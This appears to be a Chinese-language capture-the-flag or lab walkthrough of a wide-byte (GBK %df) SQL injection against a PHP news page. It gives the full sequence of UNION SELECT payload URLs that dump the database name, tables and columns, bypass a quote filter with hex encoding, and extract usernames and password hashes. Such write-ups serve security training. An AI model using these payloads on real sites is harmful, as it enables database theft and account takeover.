开始注入,先测试单引号等情况,发现不可行,将id改成-1后页面消失,所以判断存在注入情况
之后用宽字节注入方式 %df,原理在于在GBK编码中,反斜杠的编码是%5c,在输入%df后,使得添加反斜杠后形成%df%5c,而%df%5c是繁体字“連”,单引号成功逃逸,爆出Mysql数据库的错误
http://219.153.49.228:48514/new_list.php?id=1 %df'
发现报错后,添加注释符,报错消失,判断是单引号闭合
http://219.153.49.228:48514/new_list.php?id=1 %df' %23
接下来使用order by语句判断列,发现6会报错,5可以,所以确定为5列
http://219.153.49.228:48514/new_list.php?id=1 %df' order by 5 %23
回显报错位为3和5
http://219.153.49.228:48514/new_list.php?id=-1 %df' union select 1,2,3,4,5 %23
获取数据库名为 mozhe_discuz_stormgroup
http://219.153.49.228:48514/new_list.php?id=-1 %df' union select 1,2,database(),4,5 %23
获取表名为 notice,stormgroup_member
http://219.153.49.228:48514/new_list.php?id=-1 %df' union select 1,2,database(),4,group_concat(table_name) from information_schema.tables where table_schema=database() %23
获取stormgroup_member表的列名,但是这里对单引号有过滤
http://219.153.49.228:48514/new_list.php?id=-1 %df' union select 1,2,database(),4,group_concat(column_name) from information_schema.columns where table_name='stormgroup_member' %23
通过16进制转换的方式来绕过过滤,所以先将stormgroup_member进行16进制编码得到0x73746f726d67726f75705f6d656d626572,之后获取列名为 name,password,status
http://219.153.49.228:48514/new_list.php?id=-1 %df' union select 1,2,database(),4,group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572 %23
随后获取name和password数据为 mozhe,3114b433dece9180717f2b7de56b28a3 和 mozhe,0959ad23e725f2a5e2acfa3344b479e4
http://219.153.49.228:48514/new_list.php?id=-1 %df' union select 1,2,database(),4,group_concat(name,0x7e,password) from mozhe_discuz_stormgroup.stormgroup_member %23
解密后获得账号密码,输入后获取key